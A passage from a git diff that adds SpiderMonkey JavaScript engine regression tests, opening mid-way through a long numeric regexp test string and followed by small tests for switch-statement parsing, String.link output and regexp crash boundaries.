82978307831783278337834783578367837783878397840784178427843784478457846784778487849785078517852785378547855785678577858785978607861786278637864786578667867786878697870787178727873787478757876787778787879788078817882788378847885788678877888788978907891789278937894789578967897789878997900790179027903790479057906790779087909791079117912791379147915791679177918791979207921792279237924792579267927792879297930793179327933793479357936793779387939794079417942794379447945794679477948794979507951795279537954795579567957795879597960796179627963796479657966796779687969797079717972797379747975797679777978797979807981798279837984798579867987798879897990799179927993799479957996799779987999800080018002800380048005800680078008800980108011801280138014801580168017801880198020802180228023802480258026802780288029803080318032803380348035803680378038803980408041804280438044804580468047804880498050805180528053805480558056805780588059806080618062806380648065806680678068806980708071807280738074807580768077807880798080808180828083808480858086808780888089809080918092809380948095809680978098809981008101810281038104810581068107810881098110811181128113811481158116811781188119812081218122812381248125812681278128812981308131813281338134813581368137813881398140814181428143814481458146814781488149815081518152815381548155815681578158815981608161816281638164816581668167816881698170817181728173817481758176817781788179818081818182818381848185818681878188818981908191819281938194819581968197819881998200820182028203820482058206820782088209821082118212821382148215821682178218821982208221822282238224822582268227822882298230823182328233823482358236823782388239824082418242824382448245824682478248824982508251825282538254825582568257825882598260826182628263826482658266826782688269827082718272827382748275827682778278827982808281828282838284828582868287828882898290829182928293829482958296829782988299830083018302830383048305830683078308830983108311831283138314831583168317831883198320832183228323832483258326832783288329833083318332833383348335833683378338833983408341834283438344834583468347834883498350835183528353835483558356835783588359836083618362836383648365836683678368836983708371837283738374837583768377837883798380838183828383838483858386838783888389839083918392839383948395839683978398839984008401840284038404840584068407840884098410841184128413841484158416841784188419842084218422842384248425842684278428842984308431843284338434843584368437843884398440844184428443844484458446844784488449845084518452845384548455845684578458845984608461846284638464846584668467846884698470847184728473847484758476847784788479848084818482848384848485848684878488848984908491849284938494849584968497849884998500850185028503850485058506850785088509851085118512851385148515851685178518851985208521852285238524852585268527852885298530853185328533853485358536853785388539854085418542854385448545854685478548854985508551855285538554855585568557855885598560856185628563856485658566856785688569857085718572857385748575857685778578857985808581858285838584858585868587858885898590859185928593859485958596859785988599860086018602860386048605860686078608860986108611861286138614861586168617861886198620862186228623862486258626862786288629863086318632863386348635863686378638863986408641864286438644864586468647864886498650865186528653865486558656865786588659866086618662866386648665866686678668866986708671867286738674867586768677867886798680868186828683868486858686868786888689869086918692869386948695869686978698869987008701870287038704870587068707870887098710871187128713871487158716871787188719872087218722872387248725872687278728872987308731873287338734873587368737873887398740874187428743874487458746874787488749875087518752875387548755875687578758875987608761876287638764876587668767876887698770877187728773877487758776877787788779878087818782878387848785878687878788878987908791879287938794879587968797879887998800880188028803880488058806880788088809881088118812881388148815881688178818881988208821882288238824882588268827882888298830883188328833883488358836883788388839884088418842884388448845884688478848884988508851885288538854885588568857885888598860886188628863886488658866886788688869887088718872887388748875887688778878887988808881888288838884888588868887888888898890889188928893889488958896889788988899890089018902890389048905890689078908890989108911891289138914891589168917891889198920892189228923892489258926892789288929893089318932893389348935893689378938893989408941894289438944894589468947894889498950895189528953895489558956895789588959896089618962896389648965896689678968896989708971897289738974897589768977897889798980898189828983898489858986898789888989899089918992899389948995899689978998899990009001900290039004900590069007900890099010901190129013901490159016901790189019902090219022902390249025902690279028902990309031903290339034903590369037903890399040904190429043904490459046904790489049905090519052905390549055905690579058905990609061906290639064906590669067906890699070907190729073907490759076907790789079908090819082908390849085908690879088908990909091909290939094909590969097909890999100910191029103910491059106910791089109911091119112911391149115911691179118911991209121912291239124912591269127912891299130913191329133913491359136913791389139914091419142914391449145914691479148914991509151915291539154915591569157915891599160916191629163916491659166916791689169917091719172917391749175917691779178917991809181918291839184918591869187918891899190919191929193919491959196919791989199920092019202920392049205920692079208920992109211921292139214921592169217921892199220922192229223922492259226922792289229923092319232923392349235923692379238923992409241924292439244924592469247924892499250925192529253925492559256925792589259926092619262926392649265926692679268926992709271927292739274927592769277927892799280928192829283928492859286928792889289929092919292929392949295929692979298929993009301930293039304930593069307930893099310931193129313931493159316931793189319932093219322932393249325932693279328932993309331933293339334933593369337933893399340934193429343934493459346934793489349935093519352935393549355935693579358935993609361936293639364936593669367936893699370937193729373937493759376937793789379938093819382938393849385938693879388938993909391939293939394939593969397939893999400940194029403940494059406940794089409941094119412941394149415941694179418941994209421942294239424942594269427942894299430943194329433943494359436943794389439944094419442944394449445944694479448944994509451945294539454945594569457945894599460946194629463946494659466946794689469947094719472947394749475947694779478947994809481948294839484948594869487948894899490949194929493949494959496949794989499950095019502950395049505950695079508950995109511951295139514951595169517951895199520952195229523952495259526952795289529953095319532953395349535953695379538953995409541954295439544954595469547954895499550955195529553955495559556955795589559956095619562956395649565956695679568956995709571957295739574957595769577957895799580958195829583958495859586958795889589959095919592959395949595959695979598959996009601960296039604960596069607960896099610961196129613961496159616961796189619962096219622962396249625962696279628962996309631963296339634963596369637963896399640964196429643964496459646964796489649965096519652965396549655965696579658965996609661966296639664966596669667966896699670967196729673967496759676967796789679968096819682968396849685968696879688968996909691969296939694969596969697969896999700970197029703970497059706970797089709971097119712971397149715971697179718971997209721972297239724972597269727972897299730973197329733973497359736973797389739974097419742974397449745974697479748974997509751975297539754975597569757975897599760976197629763976497659766976797689769977097719772977397749775977697779778977997809781978297839784978597869787978897899790979197929793979497959796979797989799980098019802980398049805980698079808980998109811981298139814981598169817981898199820982198229823982498259826982798289829983098319832983398349835983698379838983998409841984298439844984598469847984898499850985198529853985498559856985798589859986098619862986398649865986698679868986998709871987298739874987598769877987898799880988198829883988498859886988798889889989098919892989398949895989698979898989999009901990299039904990599069907990899099910991199129913991499159916991799189919992099219922992399249925992699279928992999309931993299339934993599369937993899399940994199429943994499459946994799489949995099519952995399549955995699579958995999609961996299639964996599669967996899699970997199729973997499759976997799789979998099819982998399849985998699879988998999909991999299939994999599969997999899991000010001100021000310004100051000610007100081000910010100111001210013100141001510016100171001810019100201002110022100231002410025100261002710028100291003010031100321003310034100351003610037100381003910040100411004210043100441004510046100471004810049100501005110052100531005410055100561005710058100591006010061100621006310064100651006610067100681006910070100711007210073100741007510076100771007810079100801008110082100831008410085100861008710088100891009010091100921009310094100951009610097100981009910100101011010210103101041010510106101071010810109101101011110112101131011410115101161011710118101191012010121101221012310124101251012610127101281012910130101311013210133101341013510136101371013810139101401014110142101431014410145101461014710148101491015010151101521015310154101551015610157101581015910160101611016210163101641016510166101671016810169101701017110172101731017410175101761017710178101791018010181101821018310184101851018610187101881018910190101911019210193101941019510196101971019810199102001020110202102031020410205102061020710208102091021010211102121021310214102151021610217102181021910220102211022210223102241022510226102271022810229102301023110232102331023410235102361023710238102391024010241102421024310244102451024610247102481024910250102511025210253102541025510256102571025810259102601026110262102631026410265102661026710268102691027010271102721027310274102751027610277102781027910280102811028210283102841028510286102871028810289102901029110292102931029410295102961029710298102991030010301103021030310304103051030610307103081030910310103111031210313103141031510316103171031810319103201032110322103231032410325103261032710328103291033010331103321033310334103351033610337103381033910340103411034210343103441034510346103471034810349103501035110352103531035410355103561035710358103591036010361103621036310364103651036610367103681036910370103711037210373103741037510376103771037810379103801038110382103831038410385103861038710388103891039010391103921039310394103951039610397103981039910400104011040210403104041040510406104071040810409104101041110412104131041410415104161041710418104191042010421104221042310424104251042610427104281042910430104311043210433104341043510436104371043810439104401044110442104431044410445104461044710448104491045010451104521045310454104551045610457104581045910460104611046210463104641046510466104671046810469104701047110472104731047410475104761047710478104791048010481104821048310484104851048610487104881048910490104911049210493104941049510496104971049810499105001050110502105031050410505105061050710508105091051010511105121051310514105151051610517105181051910520105211052210523105241052510526105271052810529105301053110532105331053410535105361053710538105391054010541105421054310544105451054610547105481054910550105511055210553105541055510556105571055810559105601056110562105631056410565105661056710568105691057010571105721057310574105751057610577105781057910580105811058210583105841058510586105871058810589105901059110592105931059410595105961059710598105991060010601106021060310604106051060610607106081060910610106111061210613106141061510616106171061810619106201062110622106231062410625106261062710628106291063010631106321063310634106351063610637106381063910640106411064210643106441064510646106471064810649106501065110652106531065410655106561065710658106591066010661106621066310664106651066610667106681066910670106711067210673106741067510676106771067810679106801068110682106831068410685106861068710688106891069010691106921069310694106951069610697106981069910700107011070210703107041070510706107071070810709107101071110712107131071410715107161071710718107191072010721107221072310724107251072610727107281072910730107311073210733107341073510736107371073810739107401074110742107431074410745107461074710748107491075010751107521075310754107551075610757107581075910760107611076210763107641076510766107671076810769107701077110772107731077410775107761077710778107791078010781107821078310784107851078610787107881078910790107911079210793107941079510796107971079810799108001080110802108031080410805108061080710808108091081010811108121081310814108151081610817108181081910820108211082210823108241082510826108271082810829108301083110832108331083410835108361083710838108391084010841108421084310844108451084610847108481084910850108511085210853108541085510856108571085810859108601086110862108631086410865108661086710868108691087010871108721087310874108751087610877108781087910880108811088210883108841088510886108871088810889108901089110892108931089410895108961089710898108991090010901109021090310904109051090610907109081090910910109111091210913109141091510916109171091810919109201092110922109231092410925109261092710928109291093010931109321093310934109351093610937109381093910940109411094210943109441094510946109471094810949109501095110952109531095410955109561095710958109591096010961109621096310964109651096610967109681096910970109711097210973109741097510976109771097810979109801098110982109831098410985109861098710988109891099010991109921099310994109951099610997109981099911000110011100211003110041100511006110071100811009110101101111012110131101411015110161101711018110191102011021110221102311024110251102611027110281102911030110311103211033110341103511036110371103811039110401104111042110431104411045110461104711048110491105011051110521105311054110551105611057110581105911060110611106211063110641106511066110671106811069110701107111072110731107411075110761107711078110791108011081110821108311084110851108611087110881108911090110911109211093110941109511096110971109811099111001110111102111031110411105111061110711108111091111011111111121111311114111151111611117111181111911120111211112211123111241112511126111271112811129111301113111132111331113411135111361113711138111391114011141111421114311144111451114611147111481114911150111511115211153111541115511156111571115811159111601116111162111631116411165111661116711168111691117011171111721117311174111751117611177111781117911180111811118211183111841118511186111871118811189111901119111192111931119411195111961119711198111991120011201112021120311204112051120611207112081120911210112111121211213112141121511216112171121811219112201122111222112231122411225112261122711228112291123011231112321123311234112351123611237112381123911240112411124211243112441124511246112471124811249112501125111252112531125411255112561125711258112591126011261112621126311264112651126611267112681126911270112711127211273112741127511276112771127811279112801128111282112831128411285112861128711288112891129011291112921129311294112951129611297112981129911300113011130211303113041130511306113071130811309113101131111312113131131411315113161131711318113191132011321113221132311324113251132611327113281132911330113311133211333113341133511336113371133811339113401134111342113431134411345113461134711348113491135011351113521135311354113551135611357113581135911360113611136211363113641136511366113671136811369113701137111372113731137411375113761137711378113791138011381113821138311384113851138611387113881138911390113911139211393113941139511396113971139811399114001140111402114031140411405114061140711408114091141011411114121141311414114151141611417114181141911420114211142211423114241142511426114271142811429114301143111432114331143411435114361143711438114391144011441114421144311444114451144611447114481144911450114511145211453114541145511456114571145811459114601146111462114631146411465114661146711468114691147011471114721147311474114751147611477114781147911480114811148211483114841148511486114871148811489114901149111492114931149411495114961149711498114991150011501115021150311504115051150611507115081150911510115111151211513115141151511516115171151811519115201152111522115231152411525115261152711528115291153011531115321153311534115351153611537115381153911540115411154211543115441154511546115471154811549115501155111552115531155411555115561155711558115591156011561115621156311564115651156611567115681156911570115711157211573115741157511576115771157811579115801158111582115831158411585115861158711588115891159011591115921159311594115951159611597115981159911600116011160211603116041160511606116071160811609116101161111612116131161411615116161161711618116191162011621116221162311624116251162611627116281162911630116311163211633116341163511636116371163811639116401164111642116431164411645116461164711648116491165011651116521165311654116551165611657116581165911660116611166211663116641166511666116671166811669116701167111672116731167411675116761167711678116791168011681116821168311684116851168611687116881168911690116911169211693116941169511696116971169811699117001170111702117031170411705117061170711708117091171011711117121171311714117151171611717117181171911720117211172211723117241172511726117271172811729117301173111732117331173411735117361173711738117391174011741117421174311744117451174611747117481174911750117511175211753117541175511756117571175811759117601176111762117631176411765117661176711768117691177011771117721177311774117751177611777117781177911780117811178211783117841178511786117871178811789117901179111792117931179411795117961179711798117991180011801118021180311804118051180611807118081180911810118111181211813118141181511816118171181811819118201182111822118231182411825118261182711828118291183011831118321183311834118351183611837118381183911840118411184211843118441184511846118471184811849118501185111852118531185411855118561185711858118591186011861118621186311864118651186611867118681186911870118711187211873118741187511876118771187811879118801188111882118831188411885118861188711888118891189011891118921189311894118951189611897118981189911900119011190211903119041190511906119071190811909119101191111912119131191411915119161191711918119191192011921119221192311924119251192611927119281192911930119311193211933119341193511936119371193811939119401194111942119431194411945119461194711948119491195011951119521195311954119551195611957119581195911960119611196211963119641196511966119671196811969119701197111972119731197411975119761197711978119791198011981119821198311984119851198611987119881198911990119911199211993119941199511996119971199811999120001200112002120031200412005120061200712008120091201012011120121201312014120151201612017120181201912020120211202212023120241202512026120271202812029120301203112032120331203412035120361203712038120391204012041120421204312044120451204612047120481204912050120511205212053120541205512056120571205812059120601206112062120631206412065120661206712068120691207012071120721207312074120751207612077120781207912080120811208212083120841208512086120871208812089120901209112092120931209412095120961209712098120991210012101121021210312104121051210612107121081210912110121111211212113121141211512116121171211812119121201212112122121231212412125121261212712128121291213012131121321213312134121351213612137121381213912140121411214212143121441214512146121471214812149121501215112152121531215412155121561215712158121591216012161121621216312164121651216612167121681216912170121711217212173121741217512176121771217812179121801218112182121831218412185121861218712188121891219012191121921219312194121951219612197121981219912200122011220212203122041220512206122071220812209122101221112212122131221412215122161221712218122191222012221122221222312224122251222612227122281222912230122311223212233122341223512236122371223812239122401224112242122431224412245122461224712248122491225012251122521225312254122551225612257122581225912260122611226212263122641226512266122671226812269122701227112272122731227412275122761227712278122791228012281122821228312284122851228612287122881228912290122911229212293122941229512296122971229812299123001230112302123031230412305123061230712308123091231012311123121231312314123151231612317123181231912320123211232212323123241232512326123271232812329123301233112332123331233412335123361233712338123391234012341123421234312344123451234612347123481234912350123511235212353123541235512356123571235812359123601236112362123631236412365123661236712368123691237012371123721237312374123751237612377123781237912380123811238212383123841238512386123871238812389123901239112392123931239412395123961239712398123991240012401124021240312404124051240612407124081240912410124111241212413124141241512416124171241812419124201242112422124231242412425124261242712428124291243012431124321243312434124351243612437124381243912440124411244212443124441244512446124471244812449124501245112452124531245412455124561245712458124591246012461124621246312464124651246612467124681246912470124711247212473124741247512476124771247812479124801248112482124831248412485124861248712488124891249012491124921249312494124951249612497124981249912500125011250212503125041250512506125071250812509125101251112512125131251412515125161251712518125191252012521125221252312524125251252612527125281252912530125311253212533125341253512536125371253812539125401254112542125431254412545125461254712548125491255012551125521255312554125551255612557125581255912560125611256212563125641256512566125671256812569125701257112572125731257412575125761257712578125791258012581125821258312584125851258612587125881258912590125911259212593125941259512596125971259812599126001260112602126031260412605126061260712608126091261012611126121261312614126151261612617126181261912620126211262212623126241262512626126271262812629126301263112632126331263412635126361263712638126391264012641126421264312644126451264612647126481264912650126511265212653126541265512656126571265812659126601266112662126631266412665126661266712668126691267012671126721267312674126751267612677126781267912680126811268212683126841268512686126871268812689126901269112692126931269412695126961269712698126991270012701127021270312704127051270612707127081270912710127111271212713127141271512716127171271812719127201272112722127231272412725127261272712728127291273012731127321273312734127351273612737127381273912740127411274212743127441274512746127471274812749127501275112752127531275412755127561275712758127591276012761127621276312764127651276612767127681276912770127711277212773127741277512776127771277812779127801278112782127831278412785127861278712788127891279012791127921279312794127951279612797127981279912800128011280212803128041280512806128071280812809128101281112812128131281412815128161281712818128191282012821128221282312824128251282612827128281282912830128311283212833128341283512836128371283812839128401284112842128431284412845128461284712848128491285012851128521285312854128551285612857128581285912860128611286212863128641286512866128671286812869128701287112872128731287412875128761287712878128791288012881128821288312884128851288612887128881288912890128911289212893128941289512896128971289812899129001290112902129031290412905129061290712908129091291012911129121291312914129151291612917129181291912920129211292212923129241292512926129271292812929129301293112932129331293412935129361293712938129391294012941129421294312944129451294612947129481294912950129511295212953129541295512956129571295812959129601296112962129631296412965129661296712968129691297012971129721297312974129751297612977129781297912980129811298212983129841298512986129871298812989129901299112992129931299412995129961299712998129991300013001130021300313004130051300613007130081300913010130111301213013130141301513016130171301813019130201302113022130231302413025130261302713028130291303013031130321303313034130351303613037130381303913040130411304213043130441304513046130471304813049130501305113052130531305413055130561305713058130591306013061130621306313064130651306613067130681306913070130711307213073130741307513076130771307813079130801308113082130831308413085130861308713088130891309013091130921309313094130951309613097130981309913100131011310213103131041310513106131071310813109131101311113112131131311413115131161311713118131191312013121131221312313124131251312613127131281312913130131311313213133131341313513136131371313813139131401314113142131431314413145131461314713148131491315013151131521315313154131551315613157131581315913160131611316213163131641316513166131671316813169131701317113172131731317413175131761317713178131791318013181131821318313184131851318613187131881318913190131911319213193131941319513196131971319813199132001320113202132031320413205132061320713208132091321013211132121321313214132151321613217132181321913220132211322213223132241322513226132271322813229132301323113232132331323413235132361323713238132391324013241132421324313244132451324613247132481324913250132511325213253132541325513256132571325813259132601326113262132631326413265132661326713268132691327013271132721327313274132751327613277132781327913280132811328213283132841328513286132871328813289132901329113292132931329413295132961329713298132991330013301133021330313304133051330613307133081330913310133111331213313133141331513316133171331813319133201332113322133231332413325133261332713328133291333013331133321333313334133351333613337133381333913340133411334213343133441334513346133471334813349133501335113352133531335413355133561335713358133591336013361133621336313364133651336613367133681336913370133711337213373133741337513376133771337813379133801338113382133831338413385133861338713388133891339013391133921339313394133951339613397133981339913400134011340213403134041340513406134071340813409134101341113412134131341413415134161341713418134191342013421134221342313424134251342613427134281342913430134311343213433134341343513436134371343813439134401344113442134431344413445134461344713448134491345013451134521345313454134551345613457134581345913460134611346213463134641346513466134671346813469134701347113472134731347413475134761347713478134791348013481134821348313484134851348613487134881348913490134911349213493134941349513496134971349813499135001350113502135031350413505135061350713508135091351013511135121351313514135151351613517135181351913520135211352213523135241352513526135271352813529135301353113532135331353413535135361353713538135391354013541135421354313544135451354613547135481354913550135511355213553135541355513556135571355813559135601356113562135631356413565135661356713568135691357013571135721357313574135751357613577135781357913580135811358213583135841358513586135871358813589135901359113592135931359413595135961359713598135991360013601136021360313604136051360613607136081360913610136111361213613136141361513616136171361813619136201362113622136231362413625136261362713628136291363013631136321363313634136351363613637136381363913640136411364213643136441364513646136471364813649136501365113652136531365413655136561365713658136591366013661136621366313664136651366613667136681366913670136711367213673136741367513676136771367813679136801368113682136831368413685136861368713688136891369013691136921369313694136951369613697136981369913700137011370213703137041370513706137071370813709137101371113712137131371413715137161371713718137191372013721137221372313724137251372613727137281372913730137311373213733137341373513736137371373813739137401374113742137431374413745137461374713748137491375013751137521375313754137551375613757137581375913760137611376213763137641376513766137671376813769137701377113772137731377413775137761377713778137791378013781137821378313784137851378613787137881378913790137911379213793137941379513796137971379813799138001380113802138031380413805138061380713808138091381013811138121381313814138151381613817138181381913820138211382213823138241382513826138271382813829138301383113832138331383413835138361383713838138391384013841138421384313844138451384613847138481384913850138511385213853138541385513856138571385813859138601386113862138631386413865138661386713868138691387013871138721387313874138751387613877138781387913880138811388213883138841388513886138871388813889138901389113892138931389413895138961389713898138991390013901139021390313904139051390613907139081390913910139111391213913139141391513916139171391813919139201392113922139231392413925139261392713928139291393013931139321393313934139351393613937139381393913940139411394213943139441394513946139471394813949139501395113952139531395413955139561395713958139591396013961139621396313964139651396613967139681396913970139711397213973139741397513976139771397813979139801398113982139831398413985139861398713988139891399013991139921399313994139951399613997139981399914000140011400214003140041400514006140071400814009140101401114012140131401414015140161401714018140191402014021140221402314024140251402614027140281402914030140311403214033140341403514036140371403814039140401404114042140431404414045140461404714048140491405014051140521405314054140551405614057140581405914060140611406214063140641406514066140671406814069140701407114072140731407414075140761407714078140791408014081140821408314084140851408614087140881408914090140911409214093140941409514096140971409814099141001410114102141031410414105141061410714108141091411014111141121411314114141151411614117141181411914120141211412214123141241412514126141271412814129141301413114132141331413414135141361413714138141391414014141141421414314144141451414614147141481414914150141511415214153141541415514156141571415814159141601416114162141631416414165141661416714168141691417014171141721417314174141751417614177141781417914180141811418214183141841418514186141871418814189141901419114192141931419414195141961419714198141991420014201142021420314204142051420614207142081420914210142111421214213142141421514216142171421814219142201422114222142231422414225142261422714228142291423014231142321423314234142351423614237142381423914240142411424214243142441424514246142471424814249142501425114252142531425414255142561425714258142591426014261142621426314264142651426614267142681426914270142711427214273142741427514276142771427814279142801428114282142831428414285142861428714288142891429014291142921429314294142951429614297142981429914300143011430214303143041430514306143071430814309143101431114312143131431414315143161431714318143191432014321143221432314324143251432614327143281432914330143311433214333143341433514336143371433814339143401434114342143431434414345143461434714348143491435014351143521435314354143551435614357143581435914360143611436214363143641436514366143671436814369143701437114372143731437414375143761437714378143791438014381143821438314384143851438614387143881438914390143911439214393143941439514396143971439814399144001440114402144031440414405144061440714408144091441014411144121441314414144151441614417144181441914420144211442214423144241442514426144271442814429144301443114432144331443414435144361443714438144391444014441144421444314444144451444614447144481444914450144511445214453144541445514456144571445814459144601446114462144631446414465144661446714468144691447014471144721447314474144751447614477144781447914480144811448214483144841448514486144871448814489144901449114492144931449414495144961449714498144991450014501145021450314504145051450614507145081450914510145111451214513145141451514516145171451814519145201452114522145231452414525145261452714528145291453014531145321453314534145351453614537145381453914540145411454214543145441454514546145471454814549145501455114552145531455414555145561455714558145591456014561145621456314564145651456614567145681456914570145711457214573145741457514576145771457814579145801458114582145831458414585145861458714588145891459014591145921459314594145951459614597145981459914600146011460214603146041460514606146071460814609146101461114612146131461414615146161461714618146191462014621146221462314624146251462614627146281462914630146311463214633146341463514636146371463814639146401464114642146431464414645146461464714648146491465014651146521465314654146551465614657146581465914660146611466214663146641466514666146671466814669146701467114672146731467414675146761467714678146791468014681146821468314684146851468614687146881468914690146911469214693146941469514696146971469814699147001470114702147031470414705147061470714708147091471014711147121471314714147151471614717147181471914720147211472214723147241472514726147271472814729147301473114732147331473414735147361473714738147391474014741147421474314744147451474614747147481474914750147511475214753147541475514756147571475814759147601476114762147631476414765147661476714768147691477014771147721477314774147751477614777147781477914780147811478214783147841478514786147871478814789147901479114792147931479414795147961479714798147991480014801148021480314804148051480614807148081480914810148111481214813148141481514816148171481814819148201482114822148231482414825148261482714828148291483014831148321483314834148351483614837148381483914840148411484214843148441484514846148471484814849148501485114852148531485414855148561485714858148591486014861148621486314864148651486614867148681486914870148711487214873148741487514876148771487814879148801488114882148831488414885148861488714888148891489014891148921489314894148951489614897148981489914900149011490214903149041490514906149071490814909149101491114912149131491414915149161491714918149191492014921149221492314924149251492614927149281492914930149311493214933149341493514936149371493814939149401494114942149431494414945149461494714948149491495014951149521495314954149551495614957149581495914960149611496214963149641496514966149671496814969149701497114972149731497414975149761497714978149791498014981149821498314984149851498614987149881498914990149911499214993149941499514996149971499814999150001500115002150031500415005150061500715008150091501015011150121501315014150151501615017150181501915020150211502215023150241502515026150271502815029150301503115032150331503415035150361503715038150391504015041150421504315044150451504615047150481504915050150511505215053150541505515056150571505815059150601506115062150631506415065150661506715068150691507015071150721507315074150751507615077150781507915080150811508215083150841508515086150871508815089150901509115092150931509415095150961509715098150991510015101151021510315104151051510615107151081510915110151111511215113151141511515116151171511815119151201512115122151231512415125151261512715128151291513015131151321513315134151351513615137151381513915140151411514215143151441514515146151471514815149151501515115152151531515415155151561515715158151591516015161151621516315164151651516615167151681516915170151711517215173151741517515176151771517815179151801518115182151831518415185151861518715188151891519015191151921519315194151951519615197151981519915200152011520215203152041520515206152071520815209152101521115212152131521415215152161521715218152191522015221152221522315224152251522615227152281522915230152311523215233152341523515236152371523815239152401524115242152431524415245152461524715248152491525015251152521525315254152551525615257152581525915260152611526215263152641526515266152671526815269152701527115272152731527415275152761527715278152791528015281152821528315284152851528615287152881528915290152911529215293152941529515296152971529815299153001530115302153031530415305153061530715308153091531015311153121531315314153151531615317153181531915320153211532215323153241532515326153271532815329a';
+
+expect = true;
+actual = re.test(s);
+
+reportCompare(expect, actual, status);
diff --git a/js/src/tests/non262/regress/regress-275378.js b/js/src/tests/non262/regress/regress-275378.js
new file mode 100644
index 0000000000..3c69998040
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-275378.js
@@ -0,0 +1,47 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+// testcase by Martin Zvieger <martin.zvieger@sphinx.at>
+// if fails, will fail to run in browser due to syntax error
+var BUGNUMBER = 275378;
+var summary = 'Literal RegExp in case block should not give syntax error';
+var actual = '';
+var expect = '';
+
+var status;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+var tmpString= "XYZ";
+// works
+/ABC/.test(tmpString);
+var tmpVal= 1;
+if (tmpVal == 1)
+{
+ // works
+ /ABC/.test(tmpString);
+}
+switch(tmpVal)
+{
+case 1:
+{
+ // works
+ /ABC/.test(tmpString);
+}
+break;
+}
+switch(tmpVal)
+{
+case 1:
+ // fails with syntax error
+ /ABC/.test(tmpString);
+ break;
+}
+
+expect = actual = 'no error';
+reportCompare(expect, actual, status);
diff --git a/js/src/tests/non262/regress/regress-276103.js b/js/src/tests/non262/regress/regress-276103.js
new file mode 100644
index 0000000000..1242b5964c
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-276103.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+// testcase by Gianugo Rabellino <gianugo@apache.org>
+var BUGNUMBER = 276103;
+var summary = 'link foo and null bytes';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+var testString = "test|string";
+var idx = testString.indexOf("|");
+var link = testString.substring(0, idx);
+var desc = testString.substring(idx + 1);
+
+expect = '<a href="test">string</a>';
+actual = desc.link(link);
+
+reportCompare(expect, actual, summary);
+
diff --git a/js/src/tests/non262/regress/regress-278873.js b/js/src/tests/non262/regress/regress-278873.js
new file mode 100644
index 0000000000..74215a2cc2
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-278873.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+// testcase by Philipp Vogt <vogge@vlbg.dhs.org>
+var BUGNUMBER = 278873;
+var summary = 'Don\'t Crash';
+var actual = 'Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function SwitchTest( input) {
+ switch ( input ) {
+ default: break;
+ case A: break;
+ }
+}
+
+printStatus(SwitchTest + '');
+
+actual = 'No Crash';
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-280769-1.js b/js/src/tests/non262/regress/regress-280769-1.js
new file mode 100644
index 0000000000..d17e0997d1
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-280769-1.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 280769;
+var summary = 'Do not crash on overflow of 64K boundary of [] offset in regexp search string ';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+status = summary + ' ' + inSection(1) + ' (new RegExp("zzz...[AB]").exec("zzz...A") ';
+
+var N = 100 * 1000; // N should be more then 64K
+var a = new Array(N + 1);
+var prefix = a.join("z"); // prefix is sequence of N "z", zzz...zzz
+var str = prefix+"[AB]"; // str is zzz...zzz[AB]
+var re = new RegExp(str);
+try {
+ re.exec(prefix+"A");
+ reportCompare(expect, actual, status);
+} catch (e) {
+ reportCompare(true, e instanceof Error, actual, status);
+}
diff --git a/js/src/tests/non262/regress/regress-280769-2.js b/js/src/tests/non262/regress/regress-280769-2.js
new file mode 100644
index 0000000000..78855a1433
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-280769-2.js
@@ -0,0 +1,44 @@
+// |reftest| skip-if(Android) silentfail
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 280769;
+var summary = 'Do not overflow 64K boundary in treeDepth';
+var actual = 'No Crash';
+var expect = /No Crash|InternalError: allocation size overflow/;
+var status;
+var result;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expectExitCode(0);
+expectExitCode(5);
+
+status = summary + ' ' + inSection(1) + ' (new RegExp("0|...|99999") ';
+
+try
+{
+ var N = 100 * 1000;
+ var a = new Array(N);
+ for (var i = 0; i != N; ++i) {
+ a[i] = i;
+ }
+ var str = a.join('|'); // str is 0|1|2|3|...|<printed value of N -1>
+ var re = new RegExp(str);
+ re.exec(N - 1);
+}
+catch(ex)
+{
+ actual = ex + '';
+}
+
+print('Done: ' + actual);
+
+reportMatch(expect, actual, summary);
+
+
+
diff --git a/js/src/tests/non262/regress/regress-280769-3.js b/js/src/tests/non262/regress/regress-280769-3.js
new file mode 100644
index 0000000000..23d5c2e51b
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-280769-3.js
@@ -0,0 +1,45 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
